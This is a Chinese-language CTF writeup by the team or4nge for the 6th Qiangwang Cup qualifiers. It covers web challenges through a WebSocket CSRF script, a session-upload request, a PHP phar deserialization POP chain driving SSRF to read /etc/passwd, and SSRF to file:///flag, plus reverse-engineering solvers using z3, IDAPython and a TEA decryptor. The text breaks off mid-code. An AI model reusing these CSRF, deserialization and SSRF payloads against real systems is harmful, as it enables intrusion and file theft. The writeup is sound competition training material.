第六届强网杯初赛 writeup by or4nge
rank: 36th
or4nge 的师傅们在第六届强网杯全国网络安全挑战赛中奋战 32 小时,拿到了第 36 名的成绩。
任意注册,main 路由下 websocket 可以让管理员访问任意 ip:port
,修改密码,在自己 vps 上构造 script 来 csrf:
1<script>
2 var ws = null;
3 var url = "ws://" + "127.0.01:port" + "/bot";
4 ws = new WebSocket(url);
5 ws.onopen = function (event) {
6 var msg = document.getElementById("sendbox").value;
7 ws.send("changepwd 123456");
8 }
9</script>
10
修改密码后拿到 hint,后台是个 go,利用 python 和 go 对 json 字段理解不同双鞋相同字段前后绕过,设置购买数量为负数后购买flag即可。
http://47.104.95.124:8080/showfile.php?f=./demo/../class.php
任意文件读,审计发现触发 adminShow 的 show 可以 ssrf。
注意到 session 没开启,用 PHP_SESSION_UPLOAD_PROGRESS 强制开启 session_start()
来上传文件:
1POST /index.php HTTP/1.1
2Host: 47.104.95.124:8080
3Content-Length: 400
4Cache-Control: max-age=0
5Upgrade-Insecure-Requests: 1
6Origin: http://47.104.95.124:8080
7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvR1Uq45sbhgKPcuw
8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77
9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://47.104.95.124:8080/index.php
11Accept-Encoding: gzip, deflate
12Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
13Cookie: PHPSESSID=eyJ1c2VyIjoiYWRtaW4ifQ
14Connection: close
15
16------WebKitFormBoundaryvR1Uq45sbhgKPcuw
17Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
18
19123
20------WebKitFormBoundaryvR1Uq45sbhgKPcuw
21
通过 phar 反序列化触发 ssrf,构造 pop 链:通过先 wakeup,然后在 destruct 后重新赋值的方式来构造 url 进行触发。
1<?php
2
3use AdminShow as GlobalAdminShow;
4use GuestShow as GlobalGuestShow;
5
6class Upload {
7 public $file;
8 public $filesize;
9 public $date;
10 public $tmp;
11 public function __construct(){
12 $this->file = $_FILES["file"];
13 }
14 function do_upload() {
15 $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
16 if(file_exists($filename)) {
17 unlink($filename);
18 }
19 move_uploaded_file($this->file["tmp_name"],$filename);
20 echo 'upload'.$this->e($filename).' success!';
21 }
22 function e($str){
23 return htmlspecialchars($str);
24 }
25 function upload() {
26 if($this->check()) {
27 $this->do_upload();
28 }
29 }
30 public function __toString(){
31 return $this->file["name"];
32 }
33 public function __get($value){
34 $this->filesize->$value = $this->date;
35 echo $this->tmp;
36 }
37 function check() {
38 $allowed_types = array("jpg","png","jpeg");
39 $temp = explode(".",$this->file["name"]);
40 $extension = end($temp);
41 if(in_array($extension,$allowed_types)) {
42 return true;
43 }
44 else {
45 echo 'Invalid file!';
46 return false;
47 }
48 }
49}
50
51class GuestShow{
52 public $file;
53 public $contents;
54 public $name;
55 public function __construct($file)
56 {
57 $this->file=$file;
58 }
59 public function __toString(){
60 echo "guest tostring";
61 $str = $this->file->name;
62 return "";
63 }
64 public function __get($value){
65 return $this->$value;
66 }
67 function show()
68 {
69 $this->contents = file_get_contents($this->file);
70 $src = "data:jpg;base64,".base64_encode($this->contents);
71 echo "<img src={$src} />";
72 }
73 public function __destruct(){
74 echo $this;
75 }
76}
77
78class AdminShow{
79 public $source;
80 public $str;
81 public $filter;
82 public function __construct($file)
83 {
84 $this->source = $file;
85 }
86 public function __toString()
87 {
88 $content = $this->str[0]->source;
89 $content = $this->str[1]->schema;
90 return "1";
91 }
92 public function __get($value){
93 $this->show();
94 return $this->$value;
95 }
96 public function __set($key,$value){
97 $this->$key = $value;
98 }
99 public function show(){
100 $url = $this->schema . $this->source;
101 $curl = curl_init();
102 curl_setopt($curl, CURLOPT_URL, $url);
103 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
104 curl_setopt($curl, CURLOPT_HEADER, 1);
105 $response = curl_exec($curl);
106 curl_close($curl);
107 $src = "data:jpg;base64,".base64_encode($response);
108 echo "<img src={$src} />";
109
110 }
111 public function __wakeup()
112 {
113 echo "wakeup";
114 if ($this->schema !== 'file:///var/www/html/') {
115 $this->schema = 'file:///var/www/html/';
116 }
117 if ($this->source !== 'admin.png') {
118 $this->source = 'admin.png';
119 }
120 }
121}
122if(isset($_GET[1])){
123 unserialize($_GET[1]);
124 die();
125}
126$filename = "testmysql.php";
127$g0 = new GuestShow($filename);
128$g1 = new GuestShow($filename);
129$a0 = new AdminShow($filename);
130$a1 = new AdminShow($filename);
131$u0 = new Upload();
132$u1 = new Upload();
133$u2 = new Upload();
134$u1->filesize = $a0;
135$u1->date = "/etc/passwd";
136$u2->filesize = $a0;
137$u2->date = "file://";
138$g1->file = $a0;
139$u2->tmp = $g1;
140$a0->str[0] = $u1;
141$a0->str[1] = $u2;
142$u0->tmp = $a0;
143$g0->file = $u0;
144$phar = new Phar("aa.phar");
145$phar->startBuffering();
146$phar->addFromString("test.txt", "test");
147$phar->setStub("<?php__HALT_COMPILER(); ?>");
148$phar->setMetadata($g0);
149$phar->stopBuffering();
任意文件读 /proc/1/net/arp
,截取部分发现内网存在 10.10.10.10
这个服务
1IP address HW type Flags HW address Mask Device
210.10.10.2 0x1 0x0 00:00:00:00:00:00 * eth1
310.10.10.14 0x1 0x0 00:00:00:00:00:00 * eth1
410.10.10.12 0x1 0x0 00:00:00:00:00:00 * eth1
510.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1
610.10.10.8 0x1 0x0 00:00:00:00:00:00 * eth1
7172.18.0.1 0x1 0x2 02:42:e8:30:05:41 * eth0
8172.18.0.178 0x1 0x0 00:00:00:00:00:00 * eth0
9172.18.0.176 0x1 0x0 00:00:00:00:00:00 * eth0
用 http 协议 ssrf 过去发现是个 nginx 的 php,有一处 ssrf,直接请求 http://10.10.10.10/index.php?url=file:///flag
即可。
动调发现有多个函数都有虚拟机结构,输入部分在 0x4942 处,继续调试进入加密部分 0x750A9,它由几百个类似的代码块构成,每个代码块调用的函数都有数个操作码,难以普通地归类,故使用 idapython 动调脚本提取代码
1from binascii import hexlify
2
3ea = get_reg_value('eip')
4end = ea + 0x1806
5main_func = get_func_name(ea)
6
7fp = open('all_asm.txt','w')
8
9while True:
10 ea = get_reg_value('eip')
11 next_ea = next_head(ea)
12 fp.write(hexlify(get_bytes(ea, next_ea - ea)).decode())
13 fp.write('\t' + GetDisasm(ea)+'\n')
14 if ea >= end:
15 break
16 if main_func == get_func_name(ea):
17 step_into()
18 else:
19 step_over()
20 wait_for_next_event(WFNE_SUSP, -1)
然后观察特征,使用jnz和jmp指令作为子模块的标识,进一步提取
1codes = open('all_asm.txt', 'r').read().split('\n')
2c = open('asm.txt', 'w')
3for i in range(len(codes)):
4 if codes[i].find('jnz') != -1 and codes[i+2].find('jnz') == -1:
5 j = i+3
6 while j < len(codes) and codes[j].find('jmp') == -1:
7 c.write(codes[j]+'\n')
8 j += 1
9
10codes = open('asm.txt', 'r').read().split('\n')
11codes = [i[:i.find('\t')] for i in codes]
12
13datas = b''
14for i in codes:
15 datas += unhexlify(i)
16datas += '\xc3'
17print(datas)
18open('mch1', 'wb').write(datas)
将对应的机器码写入文件里,并补齐栈平衡以及函数返回,使用 ida 反调试得到清晰的结构
根据提示中的绝对值相关列出数个方程,z3 求解即可
1from z3 import *
2a1 = [BitVec('x%d' % i, 32)for i in range(28)]
3con1 = 40085 * a1[3]\
4 - 222506 * a1[2]\
5 + 54507 * a1[4]\
6 + 88056 * a1[1]\
7 + 212571 * a1[5]\
8 - 160722 * a1[0]\
9 - 434973
10
11con2 = 49300 * a1[3]\
12 + 259229 * a1[0]\
13 + 278066 * a1[2]\
14 - 127937 * a1[1]\
15 - 295169 * a1[4]\
16 - 8368677
17
18con3 = 42214 * a1[1]\
19 - 108025 * a1[3]\
20 + 205972 * a1[0]\
21 + 27559 * a1[2]\
22 - 17114904
23con4 = - 151496 * a1[1]\
24 + 204740 * a1[0]\
25 + 80143 * a1[2]\
26 - 12295783
27con5 = 241935 * a1[1]\
28 + 124128 * a1[0]\
29 - 38790036
30con6 = 273221 * a1[0]\
31 - 27868542
32
33con7 = -279656 * a1[2]\
34 - 199574 * a1[1]\
35 - 258130 * a1[8]\
36 - 200399 * a1[3]\
37 - 173903 * a1[7]\
38 + 175816 * a1[0]\
39 - 234569 * a1[6]\
40 - 108273 * a1[4]\
41 - 222957 * a1[5]\
42 + 128244179
43
44con8 = - 81541 * a1[1]\
45 - 268763 * a1[0]\
46 + 219073 * a1[3]\
47 + 34782 * a1[6]\
48 + 21153 * a1[5]\
49 + 173005 * a1[7]\
50 + 76285 * a1[4]\
51 + 32825 * a1[2]\
52 - 13874925
53
54con9 = 85214 * a1[2]\
55 - 268299 * a1[3]\
56 - 230981 * a1[1]\
57 + 290772 * a1[5]\
58 - 74394 * a1[4]\
59 + 28044 * a1[6]\
60 - 242995 * a1[0]\
61 + 50871139
62
63con10 = -279656 * a1[2]\
64 - 199574 * a1[1]\
65 - 258130 * a1[8]\
66 - 200399 * a1[3]\
67 - 173903 * a1[7]\
68 + 175816 * a1[0]\
69 - 234569 * a1[6]\
70 - 108273 * a1[4]\
71 - 222957 * a1[5]\
72 + 128244179
73
74con11 = - 81541 * a1[1]\
75 - 268763 * a1[0]\
76 + 219073 * a1[3]\
77 + 34782 * a1[6]\
78 + 21153 * a1[5]\
79 + 173005 * a1[7]\
80 + 76285 * a1[4]\
81 + 32825 * a1[2]\
82 - 13874925
83
84con12 = 85214 * a1[2]\
85 - 268299 * a1[3]\
86 - 230981 * a1[1]\
87 + 290772 * a1[5]\
88 - 74394 * a1[4]\
89 + 28044 * a1[6]\
90 - 242995 * a1[0]\
91 + 50871139
92
93con13 = -208564 * a1[0]\
94 + 81934 * a1[9]\
95 - 106641 * a1[7]\
96 + 198477 * a1[2]\
97 + 154505 * a1[1]\
98 + 48440 * a1[5]\
99 - 149004 * a1[3]\
100 - 108909 * a1[4]\
101 - 51714 * a1[10]\
102 - 296420 * a1[8]\
103 + 263021 * a1[6]\
104 + 688726
105
106con14 = - 131130 * a1[2]\
107 + 224265 * a1[3]\
108 + 230702 * a1[0]\
109 - 176285 * a1[7]\
110 - 274778 * a1[4]\
111 + 103848 * a1[8]\
112 - 136039 * a1[9]\
113 - 241151 * a1[5]\
114 + 15542 * a1[6]\
115 - 17521 * a1[1]\
116 + 41644083
117
118con15 = 195056 * a1[4]\
119 - 15717 * a1[9]\
120 - 180214 * a1[6]\
121 - 114427 * a1[5]\
122 + 277782 * a1[7]\
123 + 261379 * a1[8]\
124 - 225266 * a1[2]\
125 + 107609 * a1[0]\
126 + 259792 * a1[3]\
127 + 270563 * a1[11]\
128 + 205124 * a1[1]\
129 + 138334 * a1[10]\
130 + 103474 * a1[12]\
131 - 117027475
132
133con16 = 189573 * a1[8]\
134 + 64393 * a1[6]\
135 + 231137 * a1[1]\
136 + 145315 * a1[4]\
137 - 53938 * a1[10]\
138 - 291345 * a1[5]\
139 + 216413 * a1[3]\
140 - 204681 * a1[0]\
141 - 65519 * a1[9]\
142 - 262826 * a1[2]\
143 + 187002 * a1[7]\
144 + 271732 * a1[11]\
145 - 38663722
146
147con17 = 15645 * a1[13]\
148 + 276267 * a1[12]\
149 + 31190 * a1[5]\
150 - 244002 * a1[2]\
151 + 81415 * a1[3]\
152 - 22940 * a1[10]\
153 - 126076 * a1[7]\
154 + 8932 * a1[8]\
155 + 112153 * a1[4]\
156 + 194218 * a1[11]\
157 + 197656 * a1[9]\
158 - 204463 * a1[0]\
159 - 219500 * a1[1]\
160 + 19777 * a1[6]\
161 - 24531260
162
163con18 = 279969 * a1[8]\
164 - 123977 * a1[4]\
165 + 162094 * a1[0]\
166 - 215769 * a1[1]\
167 - 18878 * a1[14]\
168 - 80292 * a1[11]\
169 - 237675 * a1[5]\
170 - 222121 * a1[6]\
171 + 269381 * a1[12]\
172 + 153934 * a1[13]\
173 - 165380 * a1[10]\
174 - 157137 * a1[2]\
175 - 186748 * a1[3]\
176 + 170756 * a1[7]\
177 - 186932 * a1[9]\
178 + 87264470
179
180con19 = -87190 * a1[2]\
181 - 74836 * a1[1]\
182 + 16892 * a1[9]\
183 - 185781 * a1[8]\
184 - 12726 * a1[7]\
185 + 85022 * a1[12]\
186 + 232989 * a1[10]\
187 + 68516 * a1[0]\
188 - 120254 * a1[6]\
189 - 204892 * a1[5]\
190 - 65901 * a1[4]\
191 - 201087 * a1[13]\
192 + 158612 * a1[11]\
193 - 49445 * a1[3]\
194 - 181860 * a1[14]\
195 - 111015 * a1[15]\
196 + 43646834
197
198con20 = -170184 * a1[3]\
199 - 137671 * a1[4]\
200 - 85374 * a1[9]\
201 - 73658 * a1[11]\
202 + 230891 * a1[13]\
203 + 54346 * a1[15]\
204 - 280694 * a1[0]\
205 + 60411 * a1[2]\
206 + 27171 * a1[7]\
207 - 50618 * a1[6]\
208 + 11843 * a1[10]\
209 + 131778 * a1[5]\
210 + 13956 * a1[8]\
211 - 42562 * a1[12]\
212 - 19972 * a1[1]\
213 - 145797 * a1[14]\
214 - 58717 * a1[16]\
215 + 74613584
216
217con21 = 242475 * a1[16]\
218 - 234385 * a1[0]\
219 + 124653 * a1[2]\
220 - 287929 * a1[13]\
221 - 190916 * a1[12]\
222 - 277578 * a1[11]\
223 + 39 * a1[8]\
224 - 41625 * a1[6]\
225 + 67262 * a1[5]\
226 - 250144 * a1[9]\
227 - 70886 * a1[10]\
228 - 223492 * a1[15]\
229 - 179651 * a1[7]\
230 + 206538 * a1[17]\
231 + 161965 * a1[3]\
232 - 146258 * a1[4]\
233 + 167068 * a1[1]\
234 + 196330 * a1[14]\
235 + 76353817
236
237con22 = 29700 * a1[18]\
238 - 60542 * a1[5]\
239 + 274107 * a1[11]\
240 + 154914 * a1[13]\
241 - 143185 * a1[12]\
242 + 167424 * a1[2]\
243 + 137439 * a1[8]\
244 - 186151 * a1[10]\
245 - 77157 * a1[9]\
246 - 233090 * a1[6]\
247 - 27400 * a1[7]\
248 - 76557 * a1[15]\
249 - 108002 * a1[17]\
250 + 103161 * a1[14]\
251 - 133956 * a1[1]\
252 - 219502 * a1[4]\
253 - 202897 * a1[0]\
254 - 250957 * a1[3]\
255 - 119297 * a1[16]\
256 + 100812197
257
258con23 = -171971 * a1[9]\
259 + 38740 * a1[4]\
260 - 31661 * a1[10]\
261 - 194653 * a1[18]\
262 - 295910 * a1[16]\
263 + 136489 * a1[12]\
264 + 212619 * a1[17]\
265 + 165592 * a1[11]\
266 + 211791 * a1[1]\
267 + 156909 * a1[2]\
268 - 232187 * a1[8]\
269 - 73709 * a1[7]\
270 + 79735 * a1[14]\
271 + 184882 * a1[13]\
272 + 111105 * a1[6]\
273 + 148840 * a1[3]\
274 - 35774 * a1[19]\
275 - 275711 * a1[0]\
276 + 135265 * a1[5]\
277 - 141221 * a1[15]\
278 - 39117122
279
280con24 = -186514 * a1[17]\
281 - 7791 * a1[2]\
282 + 276755 * a1[11]\
283 - 294815 * a1[14]\
284 - 238763 * a1[15]\
285 - 146099 * a1[5]\
286 + 184977 * a1[16]\
287 + 178413 * a1[1]\
288 + 287303 * a1[3]\
289 - 71946 * a1[10]\
290 - 73771 * a1[9]\
291 - 129032 * a1[18]\
292 + 200202 * a1[20]\
293 - 150509 * a1[6]\
294 - 156625 * a1[13]\
295 + 14093 * a1[7]\
296 + 192584 * a1[12]\
297 - 122770 * a1[0]\
298 - 255494 * a1[8]\
299 + 65 * a1[4]\
300 - 108479 * a1[19]\
301 + 13521895
302
303con25 = 210978 * a1[7]\
304 + 300336 * a1[10]\
305 + 207254 * a1[15]\
306 + 216206 * a1[5]\
307 - 63529 * a1[0]\
308 - 274903 * a1[11]\
309 - 10750 * a1[14]\
310 + 25008 * a1[4]\
311 - 100942 * a1[19]\
312 - 104857 * a1[2]\
313 + 266501 * a1[8]\
314 + 229070 * a1[17]\
315 - 234559 * a1[16]\
316 + 298459 * a1[3]\
317 - 172052 * a1[6]\
318 - 98938 * a1[12]\
319 + 66155 * a1[13]\
320 - 84761 * a1[1]\
321 - 283508 * a1[18]\
322 + 288577 * a1[21]\
323 - 75407 * a1[20]\
324 - 204447 * a1[9]\
325 + 4351595
326
327con26 = -201846 * a1[14]\
328 + 272550 * a1[20]\
329 + 60398 * a1[6]\
330 + 45580 * a1[7]\
331 + 195108 * a1[11]\
332 + 38596 * a1[0]\
333 + 220445 * a1[18]\
334 - 190873 * a1[15]\
335 + 103477 * a1[9]\
336 + 118842 * a1[19]\
337 + 206336 * a1[10]\
338 - 249940 * a1[17]\
339 - 48084 * a1[21]\
340 + 104901 * a1[5]\
341 - 48576 * a1[4]\
342 + 287104 * a1[16]\
343 - 286686 * a1[1]\
344 - 30253 * a1[22]\
345 + 121183 * a1[3]\
346 + 90967 * a1[2]\
347 - 195519 * a1[12]\
348 - 129304 * a1[8]\
349 + 141188 * a1[13]\
350 - 56642147
351
352con27 = 110609 * a1[4]\
353 + 5913 * a1[21]\
354 - 197578 * a1[7]\
355 + 45127 * a1[18]\
356 + 282426 * a1[13]\
357 - 71019 * a1[16]\
358 - 6980 * a1[11]\
359 + 208216 * a1[15]\
360 - 13544 * a1[20]\
361 + 17852 * a1[8]\
362 + 167833 * a1[12]\
363 + 145568 * a1[17]\
364 + 3610 * a1[19]\
365 + 91985 * a1[1]\
366 - 267402 * a1[5]\
367 - 32355 * a1[14]\
368 - 197823 * a1[23]\
369 + 135525 * a1[2]\
370 - 229424 * a1[22]\
371 + 38093 * a1[10]\
372 + 50167 * a1[6]\
373 + 118713 * a1[9]\
374 + 123874 * a1[0]\
375 - 89499 * a1[3]\
376 - 43090537
377
378con28 = -164755 * a1[9]\
379 + 175470 * a1[8]\
380 - 28660 * a1[1]\
381 + 7217 * a1[11]\
382 - 295102 * a1[4]\
383 - 28531 * a1[19]\
384 - 106265 * a1[25]\
385 - 92750 * a1[10]\
386 + 16738 * a1[21]\
387 - 231714 * a1[6]\
388 + 172042 * a1[24]\
389 - 215890 * a1[17]\
390 + 199697 * a1[12]\
391 - 84235 * a1[7]\
392 + 44614 * a1[13]\
393 + 75104 * a1[5]\
394 - 195843 * a1[0]\
395 - 15784 * a1[14]\
396 - 131950 * a1[15]\
397 - 268167 * a1[16]\
398 - 197565 * a1[20]\
399 + 24340 * a1[23]\
400 + 105130 * a1[2]\
401 - 79750 * a1[22]\
402 - 264668 * a1[3]\
403 + 50329 * a1[18]\
404 + 137774797
405
406con28 = 62119 * a1[17]\
407 - 17215 * a1[24]\
408 + 289621 * a1[18]\
409 + 53006 * a1[20]\
410 + 95969 * a1[11]\
411 + 202404 * a1[0]\
412 + 247060 * a1[21]\
413 + 144211 * a1[19]\
414 + 280106 * a1[7]\
415 - 126431 * a1[10]\
416 - 226837 * a1[12]\
417 + 10463 * a1[23]\
418 + 121257 * a1[13]\
419 - 84190 * a1[9]\
420 + 88917 * a1[1]\
421 + 15453 * a1[14]\
422 + 271442 * a1[4]\
423 + 110851 * a1[3]\
424 - 231422 * a1[5]\
425 + 176741 * a1[22]\
426 + 266134 * a1[2]\
427 - 197327 * a1[6]\
428 - 55225 * a1[8]\
429 - 265465 * a1[15]\
430 + 119612 * a1[16]\
431 - 98514358
432
433con29 = 62119 * a1[17]\
434 - 17215 * a1[24]\
435 + 289621 * a1[18]\
436 + 53006 * a1[20]\
437 + 95969 * a1[11]\
438 + 202404 * a1[0]\
439 + 247060 * a1[21]\
440 + 144211 * a1[19]\
441 + 280106 * a1[7]\
442 - 126431 * a1[10]\
443 - 226837 * a1[12]\
444 + 10463 * a1[23]\
445 + 121257 * a1[13]\
446 - 84190 * a1[9]\
447 + 88917 * a1[1]\
448 + 15453 * a1[14]\
449 + 271442 * a1[4]\
450 + 110851 * a1[3]\
451 - 231422 * a1[5]\
452 + 176741 * a1[22]\
453 + 266134 * a1[2]\
454 - 197327 * a1[6]\
455 - 55225 * a1[8]\
456 - 265465 * a1[15]\
457 + 119612 * a1[16]\
458 - 98514358
459
460con30 = 151924 * a1[25]\
461 - 265311 * a1[6]\
462 + 107604 * a1[11]\
463 - 47851 * a1[24]\
464 + 227178 * a1[13]\
465 - 162699 * a1[2]\
466 + 2171 * a1[20]\
467 + 211070 * a1[23]\
468 + 94815 * a1[22]\
469 + 124760 * a1[16]\
470 + 41462 * a1[19]\
471 - 277022 * a1[15]\
472 - 62501 * a1[26]\
473 - 17727 * a1[14]\
474 - 257908 * a1[4]\
475 - 175112 * a1[21]\
476 + 8972 * a1[10]\
477 - 71801 * a1[8]\
478 - 114724 * a1[5]\
479 - 252898 * a1[9]\
480 + 161457 * a1[1]\
481 - 64461 * a1[0]\
482 - 111493 * a1[18]\
483 + 200145 * a1[17]\
484 - 290075 * a1[3]\
485 + 158466 * a1[12]\
486 - 275262 * a1[7] + 86899519
487
488con31 = 142850 * a1[18]\
489 - 166704 * a1[1]\
490 + 284852 * a1[22]\
491 + 248972 * a1[7]\
492 - 76200 * a1[17]\
493 + 261708 * a1[19]\
494 + 91911 * a1[24]\
495 + 22347 * a1[3]\
496 + 76006 * a1[21]\
497 + 256511 * a1[6]\
498 - 100052 * a1[14]\
499 - 115830 * a1[2]\
500 - 93202 * a1[23]\
501 + 248858 * a1[12]\
502 - 262669 * a1[10]\
503 + 67895 * a1[5]\
504 - 111771 * a1[8]\
505 - 132193 * a1[11]\
506 - 141512 * a1[13]\
507 + 139406 * a1[27]\
508 + 109646 * a1[16]\
509 - 286309 * a1[9]\
510 + 175476 * a1[15]\
511 + 138067 * a1[20]\
512 + 192825 * a1[25]\
513 + 199577 * a1[0] - 63091 * a1[4] - 285207 * a1[26] - 58820340
514
515s = Solver()
516
517for i in range(28):
518 s.add(a1[i] > 0x20)
519 s.add(a1[i] < 0x7f)
520
521s.add(a1[0] == ord('f'))
522s.add(a1[1] == ord('l'))
523s.add(a1[2] == ord('a'))
524s.add(a1[3] == ord('g'))
525s.add(a1[4] == ord('{'))
526s.add(a1[27] == ord('}'))
527
528s.add(con1 == 0)
529s.add(con2 == 0)
530s.add(con3 == 0)
531s.add(con4 == 0)
532s.add(con5 == 0)
533s.add(con6 == 0)
534s.add(con7 == 0)
535s.add(con8 == 0)
536s.add(con9 == 0)
537s.add(con10 == 0)
538s.add(con11 == 0)
539s.add(con12 == 0)
540s.add(con13 == 0)
541s.add(con14 == 0)
542s.add(con15 == 0)
543s.add(con16 == 0)
544s.add(con17 == 0)
545s.add(con18 == 0)
546s.add(con19 == 0)
547s.add(con20 == 0)
548s.add(con21 == 0)
549s.add(con22 == 0)
550s.add(con23 == 0)
551s.add(con24 == 0)
552s.add(con25 == 0)
553s.add(con26 == 0)
554s.add(con27 == 0)
555s.add(con28 == 0)
556s.add(con29 == 0)
557s.add(con30 == 0)
558s.add(con31 == 0)
559
560if sat == s.check():
561 m = s.model()
562 flag = ''
563 for i in a1:
564 flag += chr(m[i].as_long())
565
566import hashlib
567
568hl = hashlib.md5()
569hl.update(flag.encode())
570print (hl.hexdigest() == '042905954c2c27f21bd74489ea0d151f')
571print (flag)
.net逆向
一个21点游戏,逆向发现存在作弊码
1if (memcmp1(input, "MF3K", 4)) {
2 try {
3 game.Player.Bet -= 22m;
4 for (int i = 0; i < memory.Length; i++) {
5 memory[i] ^= 34;
6 }
7 Environment.SetEnvironmentVariable("AchivePoint1", game.Player.Balance.ToString());
8 return;
9 }
10}
11if (memcmp1(input, "EEPW", 4)) {
12 try {
13 game.Player.Balance += 175m;
14 byte[] key = new byte[16]
15 {
16 66, 114, 97, 105, 110, 115, 116, 111, 114, 109,
17 105, 110, 103, 33, 33, 33
18 };
19 RijndaelManaged rijndaelManaged = new RijndaelManaged();
20 rijndaelManaged.Key = key;
21 rijndaelManaged.Mode = CipherMode.ECB;
22 rijndaelManaged.Padding = PaddingMode.Zeros;
23 ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
24 m = cryptoTransform.TransformFinalBlock(memory, 0, memory.Length);
25 Environment.SetEnvironmentVariable("AchivePoint2", game.Player.Balance.ToString());
26 return;
27 }
28}
29if (memcmp1(input, "6VD6", 4)) {
30 try {
31 game.Player.Balance -= 27m;
32 Environment.SetEnvironmentVariable("AchivePoint3", game.Player.Balance.ToString());
33 BinaryFormatter binaryFormatter = new BinaryFormatter();
34 MemoryStream serializationStream = new MemoryStream(m);
35 binaryFormatter.Deserialize(serializationStream);
36 return;
37 }
38}
依次触发三个作弊码,就会对文件内容进行解密并反序列化
解密后发现序列化内容中包含了一个dll文件:
1private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
2{
3 int num = -1;
4 for (int i = 0; i < 320; i++)
5 {
6 x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
7 y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
8 z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
9 bool flag = i % 8 == 0;
10 if (flag)
11 {
12 num++;
13 }
14 KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));
15 }
16}
17
18private static void ParseKey(ulong[] L, byte[] Key)
19{
20 for (int i = 0; i < 3; i++)
21 {
22 for (int j = 0; j < 4; j++)
23 {
24 Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
25 }
26 }
27}
28
29public T1()
30{
31 try
32 {
33 string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");
34 string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");
35 string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");
36 bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;
37 if (!flag)
38 {
39 ulong num = ulong.Parse(environmentVariable);
40 ulong num2 = ulong.Parse(environmentVariable2);
41 ulong num3 = ulong.Parse(environmentVariable3);
42 ulong[] array = new ulong[3];
43 byte[] array2 = new byte[40];
44 byte[] array3 = new byte[40];
45 byte[] array4 = new byte[12];
46 byte[] first = new byte[] {
47 101, 5, 80, 213, 163, 26, 59, 38,
48 19, 6, 173, 189, 198, 166, 140, 183,
49 42, 247, 223, 24, 106, 20, 145, 37,
50 24, 7, 22, 191, 110, 179, 227, 5,
51 62, 9, 13, 17, 65, 22, 37, 5
52 };
53 byte[] array5 = new byte[] {
54 60, 100, 36, 86, 51, 251, 167, 108,
55 116, 245, 207, 223, 40, 103, 34, 62,
56 22, 251, 227
57 };
58 array[0] = num;
59 array[1] = num2;
60 array[2] = num3;
61 T1.Check1(array[0], array[1], array[2], array2);
62 bool flag2 = first.SequenceEqual(array2);
63 if (flag2)
64 {
65 T1.ParseKey(array, array4);
66 for (int i = 0; i < array5.Length; i++)
67 {
68 array5[i] ^= array4[i % array4.Length];
69 }
70 MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);
71 }
72 }
73 }
74 catch (Exception)
75 {
76 }
77}
使用 z3 求解三个环境变量
1from z3 import *
2
3x = BitVec('x', 64)
4y = BitVec('y', 64)
5z = BitVec('z', 64)
6
7flag1 = [
8 101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173,
9 189, 198, 166, 140, 183, 42, 247, 223, 24, 106,
10 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5,
11 62, 9, 13, 17, 65, 22, 37, 5
12]
13
14s = Solver()
15
16for i in range(320):
17 x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
18 y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
19 z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
20 cur = ((z >> 32) & 1 & (x >> 30 & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))
21 s.add(cur == (flag1[i // 8] >> (7 - i % 8)) & 1)
22
23if s.check() == sat:
24 m = s.model()
25 print (m)
26else:
27 print ('no res')
求解,或动调改内存
1array = [156324965, 868387187, 3131229747]
2Key = [0] * 12
3for i in range(3):
4 for j in range(4):
5 Key[i * 4 + j] = (array[i] >> (j * 8)) & 0xff
6
7print (Key)
8cipher = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
9
10for i in range(len(cipher)):
11 print (chr(cipher[i] ^ Key[i % len(Key)]), end='')
逻辑在 so 层,有大量的垃圾指令,实际逻辑是先进行 rot13,再进行 tea 加密
解密脚本如下:
1#include <stdio.h>
2#include <stdint.h>
3
4//解密函数
5void decrypt (uint32_t* v, uint32_t* k) {
6 uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
7 uint32_t delta=0x9e3779b9; /* a key schedule constant */
8 uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
9 for (i=0; i<32; i++) { /* basic cycle start */
10 v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
11 v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
12 sum -= delta;
13 } /* end cycle */
14 v[0]=v0; v[1]=v1;
15}
16
17int main()
18{
